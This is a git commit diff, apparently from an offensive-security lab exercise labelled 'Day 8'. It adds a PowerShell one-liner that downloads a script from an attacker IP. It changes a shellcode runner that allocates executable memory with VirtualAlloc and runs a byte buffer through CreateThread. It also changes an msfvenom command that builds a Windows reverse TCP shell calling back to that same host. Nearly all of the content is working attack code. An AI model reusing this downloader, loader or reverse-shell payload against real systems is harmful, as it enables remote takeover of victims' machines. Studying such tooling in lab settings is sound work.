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Day 8 updates

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Sivert V. Sæther 2024-12-11 22:05:18 +01:00
parent 0ad36b520f
commit 2fbdc476ce
3 changed files with 8 additions and 16 deletions
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1
8/download.ps1 Normal file
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@ -0,0 +1 @@
(New-Object System.Net.WebClient).DownloadData('http://10.9.7.49:8000/shell.ps1')

21
8/shell.ps1
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@ -1,40 +1,31 @@
$Buf =
[Byte[]] $buf =
$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;
public class VrtAlloc{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@
Add-Type $VrtAlloc
$WaitFor= @"
using System;
using System.Runtime.InteropServices;
public class WaitFor{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $WaitFor
$CrtThread= @"
using System;
using System.Runtime.InteropServices;
public class CrtThread{
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
Add-Type $CrtThread
Add-Type $CrtThread
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)

2
8/venom.sh
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@ -1 +1 @@
msfvenom -p windows/x64/shell_reverse_tcp LHOST="$1" LPORT=1337 -f powershell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.7.49 LPORT=4444 -f powershell